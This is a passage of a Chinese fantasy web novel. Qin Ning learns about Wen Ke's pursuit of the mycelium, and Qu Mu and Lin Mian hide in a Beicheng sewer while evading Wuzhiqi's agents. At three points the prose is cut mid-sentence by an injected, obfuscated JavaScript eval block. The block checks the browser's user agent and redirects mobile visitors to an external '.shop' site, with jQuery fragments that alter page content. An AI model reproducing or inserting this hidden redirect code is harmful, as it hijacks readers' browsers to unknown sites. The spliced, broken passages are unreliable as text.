“你们?”秦宁抓住关键词,看向文老爷子,说:“所以,要牺牲瞿木?” 之前文老爷子提过一嘴,后面又说不知道怎么去操作,现在看来是在打预防针,但况衍君也参与其中,也就是……他们之前就认识。 “我原本以为,还有时间,还能找到别的办法。”文老爷子说道,毕竟他也不想有牺牲,只是…… “实在没有更好的办法。” “除了这个,就不能直接除掉无支祁吗?”秦宁问,“只是封印,祂之后还会再出来。” 况衍君轻笑一声,说:“怎么除掉?靠你?” “至少凭借我的能力,实在是无能为力。”况衍君说道。 秦宁看向况衍君,问他:“你不是无支祁那边的人吗?” 关于这个问题,况衍君没有回答,只是说:“我有我效忠的主人,你只要相信我,我和你的目标是一致的。” “你的主人是谁?又或者,你是什么?”秦宁一双眼紧紧地盯着况衍君,试图从他的脸上发现一点端倪。 他知道,况衍君绝对不是普通人,但也不是除妖师。这很奇怪。 “这都不重要,你来的时候也发现了,刚刚那里是因为文恪出现了。”况衍君把话题转回不远处的那片雪地处。 “文恪?”秦宁知道这个名字,他不免看向旁边沉默的文老爷子。 “嗯,文恪这些年一直跟着无支祁,他现在也接受了大部分无支祁的力量。”况衍君说道。 秦宁不理解,文恪也是个除妖师,为什么会跟着无支祁?更何况,林眠和文恪的关系……总之,这中间的曲折,他是一点儿也不清楚。 “我的儿子自从二十多年前跟着林语枫走了,就再也没有回来过来。”文老爷子突然开口,“我也是前不久才知道他的事。” “文恪和无支祁有着同样的目标,菌丝。因此,他会和无支祁走在一起没有什么难以理解的。”况衍君开口说:“今晚文恪来到了五华山,目的就是菌丝。” “他怎么知道菌丝在这里?”秦宁问。 况衍君看着秦宁,一字一句说:“我告诉他的。” “为什么?”秦宁更加担心瞿木和林眠的处境了,他不知道接收了无支祁大部分力量的人会变得有多强,但林眠和瞿木两个人……实在是太没经验了。 况衍君说到这儿,垂下了眼,说:“瞿木。” “今晚是个很重要的时间点,瞿木体内已经有了银木和菌丝,但他还不懂得使用,不懂得使用,就没有办法更好的进行融合。”况衍君说道,“这些事情我会和你说明白,但之后,也请你们帮个忙。” 他这次能直接坦白身份,自然也是因为有事相求。 “你先说,我再考虑。”秦宁回答道。 况衍君也不含糊,直接开口说了今晚的事,以及现在需要做的事情。 “不管你们愿不愿意牺牲瞿木,但现在更重要的是,他们两个摔下了悬崖,但肯定不会出事,只是文恪已经知道了他们的下落,没办法掩藏了。” 秦宁大致听明白了,只是有些疑惑:“文恪为什么找了这么久都没找到菌丝?” “因为文恪不知道林眠的下落,他多次折返盖山村,都无果。再之后,是林眠出现在了北城,之后我才写了信,让你们离开北城这个地方。”况衍君回答。 秦宁接着问:“林神婆并不喜欢林眠,甚至……”他抿着唇,略过这个,“为什么林神婆会帮着隐藏林眠的下落?” “人的感情是很复杂的,正如林语枫一样,林阿婆也是。”况衍君没有正面回答这个问题,关于林家人的事,他不做过多的评价。 “总之,这段时间,先让他们两个尽量不要出现,找个地方躲起来。即使是拥有广大的神通的无支祁,也没办法在短时间内,在茫茫人海之中找到人。”况衍君跟他说明了情况,便准备离开了。 他还有别的事要做。 “有事可以联系我。”况衍君抛下这句话就走了。 屋内只剩下文老爷子和秦宁。 “文爷爷,您和他一直有联系吗?”秦宁深呼吸了一口气,他还在慢慢回想刚刚况衍君说的话。 文老爷子抬起头,苍老的眼珠子泛着白,说:“在我儿子文恪失踪之后,我找了他很久,都没踪迹,一晃这么多年过去了,他还在为当年的事执迷不悟。” “当年的事?”秦宁不解。 文老爷子看了眼秦宁,慢慢说来:“我们文家已经声明不参与玄学界的事情,但文恪自幼就喜欢这一些,也许是他天赋异禀,也许是命运的使然。你也知道,我们这样的人家,总是会收到因果业力的影响。” 这一点,秦宁无法反驳。 “他从小就泡在藏书阁中,学会了不少术式。等他年纪大一些,他便独自前往各种地方,去寻找妖物,因此他的水平增进的很快。而事情的转变在于青州,他去了一次青州,带回来了林语枫这个女人,不,菌丝。”文老爷子说到这儿,眼神变得迷茫了起来。 当时的他很年轻,忙着自己的事业,对于自己这个大儿子,他既不支持,也不阻止。当文恪带回来林语枫的时候,他没有过多过问,只是了解了一下情况。 “也就是那个时候,我才知道菌丝的存在。文恪热衷于研究各种妖物,林语枫体内的妖物是他极其好奇的,因此也抱了极大的热情,投入了很多的精力在里面。” 秦宁听到“青州”二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252660|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,立马就和林眠捡到的那些书签串联起来了。也就是在那儿,林眠父母相遇了。 不,不对,当时应该还有另一个人。 鬼蛾阿轻说的阡陌将军。 他的脑海中的那些碎片逐渐拼凑起来,三十年前在青州,有面蝶、鬼蛾、林眠的母亲、阡陌将军,现在还多了一个人,文恪。 问题是,阡陌将军是谁? 秦宁脑海中第一个闪现的人就是况衍君。 文老爷子准备接着说,见秦宁面色凝重,眉头皱起,问他:“怎么了?” “文爷爷,青州的事你知道多少?”秦宁问他。 文老爷子摇摇头,说:“我并不了解,只知道他们是在那儿认识的。” 秦宁听了,也就没多问,即使问了,这老狐狸也不一定会告诉自己。 “他们两个渐生情愫,我也没管,可是后来,”文老爷子说到这儿停顿了一下,“我不知道他们之间发生了什么,但是林语枫变得很不对劲。” “哪里不对劲?”秦宁不解。 “她时常自言自语,时常要闹自杀,时常又大哭,总之十分不对劲。这样持续了半年之后,他们两个就离开文家了。”文老爷子说到这儿叹了一口气,二十多年前的事了,现在回想起来,很模糊。 “其实,文恪之后也有再回到文家来,只是那时候他和以前不太一样了,我问他他也不说。但我问到林语枫的时候,他回答我了。” 秦宁连忙问:“什么?” 关于林眠妈妈,上一任菌丝的寄生者,她的下落如何,无人知晓。 “死了。”文老爷子抬起送耸拉着的眼皮,说道。 氛围瞬间沉默了下来。 “我不知道林语枫是怎么死的,但文恪显然认为…她的死和菌丝有关,因此才会这么憎恨菌丝。”文老爷子说道。 “这么多年,他对林语枫的死耿耿于怀,对菌丝的执念也就更加深了。” 等秦宁从文老爷子住处出来的时候,已经11点了。他突然想起自己还没回柳寂白的消息,连忙拿出手机给她回了条,再给瞿木发了几条消息。 但瞿木那边迟迟没有收到回复。 他回到住处的时候,柳寂白一脸着急地问:“怎么了?发生什么事了?” 秦宁把刚刚发生的事,自己知道的,都告诉柳寂白。 柳寂白听了,也不免唏嘘,但现在不管无支祁那边怎么样,重要的是林眠他们,这人都摔下悬崖了!!! “这悬崖底下是一条河流,但今天这么冷,这河估计都结冰了,而且河水那么冷,真的不会出事吗?我们怎么找到他们?” 秦宁摇摇头,说:“况衍君说他们会没事,但文恪那边已经知道他们的下落了,之后也会加大力度去找林眠他们,现在让他们藏起来更为稳妥。” 文恪即是除妖师,现在身上还有妖物的力量,林眠和瞿木不会是他的对手。 “藏起来,那我们也要先知道他们的下落啊。”柳寂白抿着唇,眉眼之间都是着急。但她着急也没用,现在三更半夜的,出去找还来得及吗? 秦宁没吭声,他已经给瞿木发过消息了,把刚刚的事都给说了。而接下来,还有不少事情要做。 “我给他们发了信息,只能再等等,他们不会有事的,在这段时间里,我们应该去找出无支祁的弱点才对。” 秦宁说着,就进屋去了。况衍君提出的解决方法,他并不认可,既然是妖物,就没有强大到不可战胜。 “诶,现在哪还能静下心来啊?”柳寂白仰头看着天花板,心里乱乱的。 90. 住进下水道 瞿木和林眠一起被银木裹着摔到悬崖底下的河面上,紧接着耳边传来清脆的“滋滋”声,是冰面裂开的声音,下一秒,他们两个就掉进了冰冷的合理,刺骨的寒意瞬间缠了上来。 瞿木意识很清醒,他清楚地感知到这周围发生的一切,以及河水浸透衣物的冰冷感,身体正在往下沉。他的身体好像意外的很抗冻,即使很冷很冷,就像是在冰窖里一样,他却没有太大的感觉。 真的没有感觉吗?瞿木脑子突然激灵了一下,他看着双眼紧闭的林眠。不对,他们不能再待在水里。 瞿木使出吃奶的劲,拉着林眠试图游到河岸处去。 但这冰面没有冻得很厚,只有薄薄一层,他的手轻轻一碰,河面上的冰就像是被一根大棍子狠狠敲打了一样,猛地裂了开来。 瞿木从河底探出头,有些懵地看着河面上的冰全都裂了开来。他喘着气,拉着林眠赶紧往河岸边游。 但不知道水流怎么突然急了起来,水流的冲击力让他顺着河流往下游。 瞿木只能紧紧拉着林眠,让自己的手上长出银木,缠住林眠。 渐渐的,他的意识也越发模糊了。 不知道过了多久。 瞿木感觉到一阵温暖,他睁开眼的时候,第一眼看到的就是头顶上面黑不拉几的……管道? 他不是在河里么?怎么能看到管道?还是黑不溜秋的管道。 “你醒了?” 瞿木听到林眠的声音,才猛地清醒过来。 林眠看着瞿木突然从床上坐下来,睁着大大的眼睛问他:“你做噩梦了?” 瞿木起来,与林眠对视上,随后摸了摸额头上的汗,看了看周围,不免皱了一下眉头。他现在躺在……他低下头看了一眼,确认是床上。 只是…… 这张床为什么在下水道里? 瞿木在看完周围后,第一反应就是这里是下水道。因为床的旁边就是一条黑乎乎的水沟,好处就是这条下水道没在使用了,那个水沟没有脏水流动。 再一个就是,这完全就是下水道的结构。瞿木自然没去过下水道,但是看的电影,玩的游戏里,下水道是个很常见的元素。 他扭过头看向一旁的林眠,问:“这是哪儿?” “我们回到了北城。”林眠精气神十足的回答,并说:“那条河流的下游就是北城,我一醒来,我们两个就在岸边了。” “那为什么……要到这里?”瞿木指了指这周围,轻声说:“下水道。” “因为,”林眠抿着唇,将手机掏出来,拿给瞿木看,说:“秦大师让我们这几天先找个位置躲起来,说……” “文恪”二字,林眠实在难以说出口。 对于昨天晚上的印象,她其实是有的,只是这层记忆就像是蒙上了一层纱布,有些模糊,但大体经过还是清楚的。 瞿木没有问更多,只是接过林眠的手机,将秦宁发的这一大段话都看完。昨晚的事他都清楚,至于后面况衍君找了秦宁,并说的这些他就一无所知了。 看完之后,他说:“所以,文恪在找我们,我们最好还是躲起来,因为打不过。” 瞿木总结说。 林眠一向很听人话,点头解释说:“我醒了后就看到了这些消息,但是我们已经到了北城,我也不知道去哪儿好,加上你又叫不醒,还有点发烧了,就来这儿了。” 瞿木晃了晃头,他还是不能理解,就不能找个小酒店什么的么?再不济,北城他有的是房子,随便找一间住就好了。 还是不能理解来下水道住是什么天才的想法。 更加不理解,这里怎么啥都有。 “这些东西你什么时候弄过来的?”瞿木问,他刚刚看了眼时间,也才中午,林眠是怎么在一上午的时间准备好这些。 床、枕头、被套、旁边的桌子、手电筒、水杯…… “啊?”林眠歪着头,看了看周围的东西,说:“在我第一次来北城的时候就准备好啦。我都好久没来这儿了,好在东西都在,就是落了点灰,我都打扫干净了。” 瞿木脑袋“轰隆”了一声,刚来北城的时候? 林眠见瞿木震惊的模样,在他面前挥了挥手,问:“怎么了?” “难怪我说那时候找不到你的地址,原来你住在下水道里?”瞿木缓慢地开口说道。 “嗯,我没钱租房。这里租房太贵了,还要交押金,我不够钱。”林眠说道。回想起那段时间,她还挺狼狈的,好在她找到了这里。 瞿木顿时无言,早知道,就应该早点找到她了,免得她住在下水道里。 “对了,你该吃药了。”林眠从桌子上拿起一包药,还拿了一瓶矿泉水递给瞿木,说:“我去药店买的,退烧药。” 瞿木这才摸了摸自己的额头,确实有些烫,但还好,低烧。他还是老老实实把退烧药吃了,然后说:“等会儿我们离开吧。” “去哪儿?”林眠问。 瞿木思考了一下,说:“秦宁让我们躲一阵,去五华山显然不合适,北城这边…回去瞿家恐怕有点太明显了。” “不过我家房子多,让卫叔给我找一间偏僻些的,待两天再问问秦宁情况,怎么样?” 林眠刚想点头,手机就震动了一下,她拿起手机一看,竟然是况衍君发来的消息,内容是—— 瞿家已被监视,别和瞿家的人有联系。 林眠眨眨眼,看了眼瞿木。 “怎么了?”瞿木凑上前,低头一看,抽了抽嘴角,说:“是让我别去找卫叔吗?他有千里眼是吗?这都知道?” “那我们还要走吗?”林眠问,毕竟她可没有房子。 瞿木语塞,无支祁就跟邪教一样,招收了一些信徒,加上又有一些能人异士在,监视卫叔那确实简简单单。 那……就只能在这里住? “我们出去开房怎么样?”瞿木建议说。总不能开个房立马就查到了吧?这得公安局有人啊。 “有钱啊?”林眠问。 瞿木回答:“你也不看看我是谁,怎么会没钱?” 说着,瞿木就去找自己的手机,他翻遍全身的口袋,都没找到自己的手机,顿时就蒙了。 “我的手机呢?” 林眠摇摇头,“我也没见着,可能是掉了吧。” 瞿木回想起昨晚在河水里的情景,掉了也不是没可能,只能撑着头说:“你没钱吗?我可是每个月准时给你打五万块钱。” 算下来,林眠身上至少也有十几二十万吧?也没看她怎么用钱。 林眠摇摇头,说:“我现在全身上下只有两百块钱了。” “你的钱都去哪了?”瞿木震惊,不可置信,他一度觉得林眠是在骗他,直至林眠给他展示余额,他才不得不信。 林眠看了眼瞿木震惊的模样,下意识的觉得自己好像做错了点什么… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261757|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …但她还是解释说:“我把钱捐了。” “捐了?捐给谁?”瞿木第一反应就是林眠是不是被骗了。 林眠掰着手指,说:“上次我们不是去盖山村了吗?我当时遇到了镇长,说镇上的小学太苦了,我就把钱捐给小学了,给他们买课外书什么的。” “全部都捐了?”瞿木听着,倒也说得过去,便问她。 林眠摇摇头,“没有,我自己还留了几万呢。” “那这几万呢?”瞿木问,他也在想林眠有买什么东西没,好像就网上买了点衣服,也没什么了。 “你这几万块钱是怎么剩下到两百块钱的?” 林眠瞟了一眼瞿木,小声说:“我把钱都花到游戏里面去了。” “什么?你现在还会氪金了?”瞿木说话的声音都提高了好几个度。他不是不支持氪金行为,只是这个行为出现在林眠身上,说明了什么? 游戏害人不浅啊! 林眠轻点头,这不是每个月都有五万块钱,她就觉得自己也不是很缺这点钱,就往游戏里充钱了。 谁知道,关键时候没钱了。 瞿木呼了一口气,这也不能怪林眠,毕竟谁也没想到会出现现在这样的情况。他看了眼四周,还是不太确定地问:“我们只能住这儿了?” “嗯嗯,这儿挺好的,你不要嫌弃嘛。”林眠看着瞿木说,“这儿我打扫的很干净了,而且这里也废弃了,没有使用,很干净的。” “我精挑细选了好久呢。”林眠说道,她初来乍到北城的时候,就选了好久。 瞿木看了眼林眠,干净不干净的他不知道,但一想到这里是下水道,他就浑身不自在。再说了,两百块钱能干嘛? 这两天怕是吃饭都成问题了。 林眠眨眨眼,拿起手机一看,“呀,关机了。” 瞿木脑袋宕机了一下,两百块钱都没了。 “没事,我等会儿出去找外面的人借一下充电器就好了。”林眠说道。 瞿木已经很疲惫了,摆摆手说:“我头有点晕,躺会儿。” 他缩在这张只有一米二的小床上,蜷缩成一团。 林眠看瞿木不是很舒服,猜想应该是烧还没退,便没打扰他,自己在旁边玩自己的。 瞿木确实昏昏欲睡,特别是吃了药后,脑袋就跟被人打了一棍子一样,眼皮都抬不起来了。 也不知过了多久,他睡醒了之后,眼皮一睁开,就看到那根发黑的管道。 或许是因为吃了退烧药,他感觉身上都出汗了,明明那么冷的天。 瞿木眨了眨眼,让自己清醒一些,翻过身想去找林眠,谁知道床的另一边横了一根大粗木头。 “哇,哪来的大木头?”瞿木被吓了一跳,他四处张望,都没看到林眠的身影,嘟囔着说:“人呢?出去了?” 瞿木没找到林眠,只好从床上起来,站在水沟前面,有些恍惚。他又走到那根粗木头前面,低下头细细一打量,才发现上面有一颗蘑菇。 “蘑菇?” 木头上长蘑菇并不奇怪,只是这颗蘑菇和林眠平时搓的蘑菇一模一样。 “难道是林眠搓好了放这里的?” 瞿木伸出手戳了一下,□□弹弹的。 “别戳我呀。” 狭窄的下水道里突然出现林眠的声音。 瞿木猛地抬起头,四处张望,最后将视线定在这颗蘑菇身上。 91. 恋爱了吗? “我在这儿!”林眠丝毫不觉得自己有什么问题,她肚子饿了,但又怕自己离开后瞿木找不到自己,就找来根木头,变成蘑菇附在上面。 她可以不用吃饭,吸收木头的能量就好了。 瞿木脑袋里感觉就像是被炸弹炸了一下,随后脑袋分崩离析,散成一片片落在地上。他一直都知道林眠身上有菌丝,有特殊能力,可即使是菌丝寄生在她的身上,这是她能变成蘑菇的理由吗? 他不理解,实在是不能理解。 林眠没察觉到瞿木的不对劲,她从木头上下来要先把蘑菇体型变大,大概滚成一个大气球的大小,再变成人的模样。 “你要吃什么?我出去给你买吧。”林眠凑到瞿木身前,问他。 只见瞿木久久不回答,林眠见他在出神,便伸出手在他面前晃了晃,问:“你怎么了?在想什么?” 瞿木回过神,低下头看着林眠,看着她脸上灵动的表情,他心里有种难言的想法。他开始去思考,也许自己,不,大家对林眠的认知是不是错了? 也许,林眠本身就不是人? 瞿木晃了下头,把这不切实际的想法从脑袋里甩掉。这一定是因为菌丝,一定是,跟林眠没有关系。 “你好像不是很好,是烧还没退吗?”林眠见瞿木样子怪怪的,伸出手去摸他的额头,摸了一会儿说:“退烧了呀,一点都不烫了。” 瞿木感受到额头柔软的手,他将林眠的手抓住,看着她。 “怎么?从刚刚起你就怪怪的,是因为……”林眠隐隐约约猜到了,但她觉得自己都和瞿木这么熟了,他不应该会因为这个事而觉得自己奇怪。 因为奇怪的事已经很多了,自己这样一点都不奇怪。 “没有。”瞿木摇摇头,笑着说:“因为是第一次见。你之前从来没有告诉过我。” “因为一般情况下,我不会这样。”林眠解释说,“我饿了,除了像人一样吃东西,还可以依附在木头上,也能补充能量。” 林眠解释完,挠了一下头,这样说好像有点奇怪。 瞿木也看出了林眠的局促,自己好像是有点反应过度了。他连忙转移话题,说:“我们出去?不是要跟手机充电嘛?” “好。”林眠顿时眼睛都亮了起来。 瞿木对这里不熟悉,林眠在前面带路。 沿着这条下水道往前左拐,再走一小段路,就到了下水道口。 光是走这一段路,瞿木已经麻木了。 林眠爬上梯子,打开井盖口,看了看周围,没发现人才招呼瞿木出来。 出来之后,这里就是一片荒地。 瞿木对这片荒地还是颇有印象,大半年过去了,也没什么变化,唯独冬天到了,地上堆的是积雪,上一次来这里还是绿草盈盈。 现在已经是晚上了。 他裹紧了身上的衣服,上前拉住林眠,说:“我们去哪儿?” 他对这一片一点都不熟悉。 林眠看了看,说:“跟我走。” 林眠拉着瞿木往前走,绕来绕去,走了大约二十分钟,终于能看到人了。 “这里。”林眠拉着瞿木走进一家便利店,看到里面的店员后,她露出笑容,急匆匆地走上前。 “小鸥!你还在这里工作。”林眠开心地说。 小鸥一抬头,就和林眠对视上了,脸上顿时都是惊喜,她双手捂住嘴,说:“林眠,你回来了。” “嗯嗯,我想充电了。”林眠说着,就把手机从口袋里拿出,递给小鸥。 小鸥见怪不怪了,还打趣说:“你恐怕只有手机没电才会来找我。” 林眠笑笑,她以前在这住的时候,下水道又不通电,她都是找小鸥帮自己充电。 瞿木在旁边看着她们两个,有种恍惚的感觉,不过这个小“ou”也算是林眠到了北城的第一个朋友吧? 小鸥给林眠的手机充上电后,也注意到了旁边这个高大的男人。她看了眼瞿木,又看向林眠的手挽在男人的手上,有几秒愣神后,才问:“你们……” “什么?”林眠没反应过来什么意思。 小鸥看着林眠,眨了眨眼,小声问她:“你谈恋爱了?” 说话间,她还偷瞄了一眼瞿木。 “啊?没有没有。”林眠连忙摆手否认,并看向瞿木。 瞿木毫不意外对方会这么问,因为刚刚林眠是拉着自己的手臂的。他上前自我介绍说:“你好,我叫瞿木。” “我叫刘鸥,叫我小鸥就行。”刘鸥抿着唇,打量着他们两个,不是情侣么?林眠不像是会说谎的人,那就是还在暧昧? 可是都挽上手了。刘鸥脑子里闪过一些无关紧要的想法,但很快便过去了,问他们:“你们吃饭了吗?” “还没。”林眠摇摇头,她现在是不怎么饿,但是瞿木一天没吃饭了,“我的手机有电了,就出去吃。” “嗯嗯。”小鸥点点头,指了指那边说:“你们一直站着也不行,我还要工作呢,你们去那边坐会儿吧,等充好了我拿给你。” “谢谢。”林眠朝小鸥道谢后,就拉着瞿木去那边坐下。 瞿木看着窗外,说:“下雪了。” “嗯。”林眠撑着脸,看着窗外,问他:“你要不要先吃点别的?手机充好电还需要点时间。” 瞿木也不含糊,去货架上拿了一些吃的,还有饭团,又拿了瓶水,走到柜台处结账再回来。 “你怎么有钱?”林眠好奇地看着瞿木,他不是身无分文了么? 瞿木挑挑眉,说:“我支付宝还有点钱呢,可以人脸扫码支付。” 只是支付宝的钱不多,他大多时候都是刷卡。 林眠恍然大悟,下次她也试试。 瞿木先垫了垫肚子,吃了东西之后,整个人才感觉有力气了点。 等到林眠手机充好电,两人就在附近随便吃了一顿。 吃了之后,走在街上。即使到了寒冷的冬季,下着雪,夜市街处还是人满为患,熙熙攘攘的挤在路上,路边都是店铺,排着长队。 林眠逛的很开心,还买了一些小吃。她刚刚听从瞿木的吩咐,跟秦宁要了点钱,现在买东西就不用考虑价格了。 瞿木在后面紧紧跟着林眠,还帮她提东西,忍不住说:“你买这么多,吃得完吗?” “吃的完。”林眠爽快的回答。 瞿木也不质疑,林眠说吃的完那肯定就吃的完。 “我们今晚去找个酒店住吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267956|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞿木跟在林眠身后提议说,他可不想再回到下水道住。 林眠回过头看了眼瞿木,思考了一下才勉强地点点头。 “要洗澡嘛,你那儿没有的洗澡。”瞿木找了个借口说道。 林眠点点头,“好吧,这附近应该有酒店。” “那儿就有一家,我刚刚看到了。”瞿木指了指那边的一个转角处。 林眠勾着身子往前看了看,说:“那我们现在过去吧。” 时间也不早了。 他们两个脱离人群,走到那个拐角处。 林眠正在边走边吃,瞿木在前边带路,他刚刚看到一家酒店在这个角落里,虽然看着不太高档,但怎么着也比下水道强。 “到了。”瞿木看到酒店的招牌,刚回头对林眠说,就见林眠被人捂住嘴巴,睁大眼睛地看着他。 “你是谁?”瞿木看着林眠身后那个穿着打扮和普通人差不多的人。 那个人没回答瞿木的问题,用力地拖着林眠往后走。 瞿木直接冲上去,一把抓住那个男人的手,另一只手把林眠拉到自己身边。 林眠被松开后,还有些后知后觉,眼神有些恍惚。 “没事吧?”瞿木仔细地打量着林眠,看她有没有事。 林眠摇摇头,“我没事。” 她只是没反应过来。 瞿木刚想说第二句话,身后突然变重了,他侧过头一看,那个男就很无赖一样,整个人挂在自己的身上。 “瞿木,他不对劲。”林眠刚刚注意到那个男的眼神,很空洞无神,就像是被人操控了一样。 瞿木也意识到了,这个人用的手段就是普通人能做到的,没有用妖术什么的。他一个过肩摔,把这个男的摔在地上。 男人被摔在地上,但还是不知疼痛的站了起来,又朝着他们扑来。 瞿木只好又把他拦住,将他抵在墙上。 周围虽然人不多,但还是有好几个人注意到这边的动静,纷纷看了过来,指指点点。 “瞿木,我们还是快点走,这个人怕是来拖延我们的。”林眠在旁边说,这个人的行为并没有太大的意义,但万一他是用来拖延住自己和瞿木,等会……文恪到了,他们就真的跑不了了。 瞿木也意识到了,他松开男人,拉起林眠,就往外跑。 两人一路往前跑,好在后面那个男的跑得不快。林眠他们钻进人流量大的地方,挡住那个人的视线。 好在林眠对这一块很熟,带着瞿木左绕东转,在巷子里快速穿梭,就来到了那片荒地处。 林眠打开下水道井盖,两人有一起钻进去,又回到了原来的位置。 瞿木喘着气,说:“怎么这里也有无支祁的眼线?文恪也来到了北城?” “这条河的下游就是北城,他会在北城不奇怪。”林眠说道,她拿起一瓶水递给瞿木。 瞿木鼓着腮帮子,看向林眠,思索了一下,还是没能问出口。 林眠一直看着瞿木,察觉到他有话想说,便说:“你有什么想说的吗?” “嗯。”瞿木也不作隐瞒,问她:“昨晚的事,你…有什么样的感觉。” 他知道林眠记得昨晚的事,也知道菌丝占据了她的身体。 92. 掉马 “很神奇。”林眠老实回答,她现在回想起来,还是觉得很神奇。因为在之前,她完全想不起每年的一月一日是什么情况了。 “不是,”瞿木咽了口口水,说:“就是,你见到了文恪,有什么样的感觉吗?” 提起文恪,林眠肉眼可见的沉默了一会,才开口说:“没有太大的感觉,他就和陌生人一样。” “你不生气?他要……杀你。”瞿木代入一下自己,感觉都要窒息了。 林眠摇摇头,说:“我不知道他为什么这么恨菌丝,或许和秦大师说的和我妈妈有关,所以他要杀菌丝是可以理解的。” “那要除掉菌丝不能找别的办法吗?为什么要把你也一起?”瞿木愤愤不平地说,哪有这么狠心的父亲啊? “依我看,他就是被无支祁洗脑了!”瞿木皱着眉,他很难理解文恪的想法,秦宁说的那些根本就无稽之谈。 林眠歪着头,她对这些很淡然,特别是对这个父亲,她现在对母亲似乎更加有好感一些,或许是那本日记,让她感受到了活生生的人。 瞿木看着林眠那不恼不怒的样子,就有种无力感,他承认最开始就是被林眠身上这种特质吸引,但面对这种应该生气、愤恨的情况,她还是这样淡然,就让瞿木充满无力感。 “好了,我累了。”瞿木看着这张小床,思绪就落在这张床上,他不禁开口问:“今晚怎么睡?” 现在出去也不安全,毕竟他们不知道无支祁的眼线到底散落在哪里。 “我可以变成蘑菇,在木头上睡就行了。”林眠说道,毕竟让她和瞿木睡在一张床上,不是很合适。 瞿木想到那颗蘑菇的模样,抿着唇,不是很情愿地开口:“还是别吧。” 林眠不解,但她很快明白,瞿木不是很喜欢蘑菇,因为之前的事情,可是还有别的办法吗? 她也陷入了沉默。 “要不,我们睡一起吧?” 最终还是林眠先开口。 瞿木心瞬间漏了一拍,他视线飘忽,手捏着被子,怔怔开口:“这不合适吧?” “我们现在都这样了,哪有什么合不合适?”林眠倒是很大方地说,“外面有人在找我们,也不知道这里能不能安全撑一晚。” 但他们现在也无处可去。 瞿木轻咳了一声,扭过头,别扭地说:“那好吧。” “我睡觉很安分。”他补充了一句。 林眠歪着头,其实她可以变成蘑菇的,但是瞿木又不乐意,和他一起睡,他好像也不是很乐意。 她作为一个女孩子,都没说什么呢。 瞿木身体很主动地往里面挪了挪,给林眠挪出个位置来。 最后两人躺在一张床上,肩并着肩。 沉默。安静。 林眠看着顶上黑乎乎一片,她少见的失眠了,是因为能感受到瞿木的呼吸声吗?还是她今天一点都不困,可是她早上五六点就醒来了。 又躺了一会儿,她还是睡不着。 “瞿木。”林眠侧过身,面对着瞿木,喊他。 瞿木一个激灵,连忙扭过头来,与林眠对视上。 “我睡不着,你也睡不着吗?”林眠问他。 瞿木点点头,但没开口解释原因。这个情况,作为一个正常男人,他怎么睡得着?也就林眠缺个心眼,估计能呼呼大睡。 “怎么了?怎么睡不着了?”瞿木问她,他知道林眠向来沾床就睡。 “我不知道。”林眠看着瞿木,认真地说,“我今天明明五点多就醒来了,然后一直没怎么睡觉。” 瞿木看着林眠一脸认真的模样,就会觉得很可爱,就是他被可爱到了。 “很奇怪,这不太对,我怎么会失眠?”林眠还在自己和自己掰扯着,眼睛灵动的转着。 瞿木实在没忍住,伸出手捏了一把林眠的脸,然后在林眠震惊的眼神中讪讪地收回手,尴尬地说:“你脸上有肉了。” 初见林眠的时候,她还瘦不拉几的。现在脸上都有肉了,还是有肉了好看。 林眠摸着自己脸,看着瞿木,嘟囔着说:“吃的多了,自然就胖了。” 她又不是光吃不长肉,那多浪费粮食啊。 “你嫌弃我胖?”林眠突然想到什么,问他。 “哪有!”瞿木否认,“这样子多好,你之前太瘦了。” 林眠又摸了下自己的脸,好像确实变肉了一点,她每天照镜子,没看出什么变化来,现在这么一捏,确实有肉了。 “你身上肉就挺多的。”林眠抬起头看向瞿木,还伸出手戳了戳瞿木的胸口前的那两坨肉。 她很早之前就注意到了,每次看到的时候,她就觉得这里的肉看起来很硬,现在这么一戳,竟然是软的! 瞿木毫无防备,就这么被林眠的手指戳了下自己的胸肌,还听到她在说:“竟然是软的,不是硬的。” “谁说软的,你再摸一下。”瞿木顿时挺起胸膛,示意林眠再戳一下。 林眠将信将疑地将手伸到瞿木的胸口处,戳了一下,和刚才完全不一样的手感,这回确实是硬邦邦的。 “为什么?”林眠不解,这还能随意控制变软变硬吗? “嗯哼。”瞿木不作解释,他刚刚是没猜到林眠会直接出手,作为天天锻炼的证据,他的胸肌怎么可以是软的! 当然,林眠不懂这些,只觉得有些神奇。 氛围突然安静了下来,瞿木也不好意思再挺着自己的胸肌,便缩了缩身体,和林眠聊天,问她:“你玩什么游戏?” 他倒是有点好奇,什么游戏能让林眠充钱进去,难不成是消消乐?他只看过林眠玩消消乐。 说到这个,林眠没有立刻回答,而是摸出自己的手机,点开给瞿木看,说:“这个,可好玩了,里面的人物很漂亮,你玩过吗?” 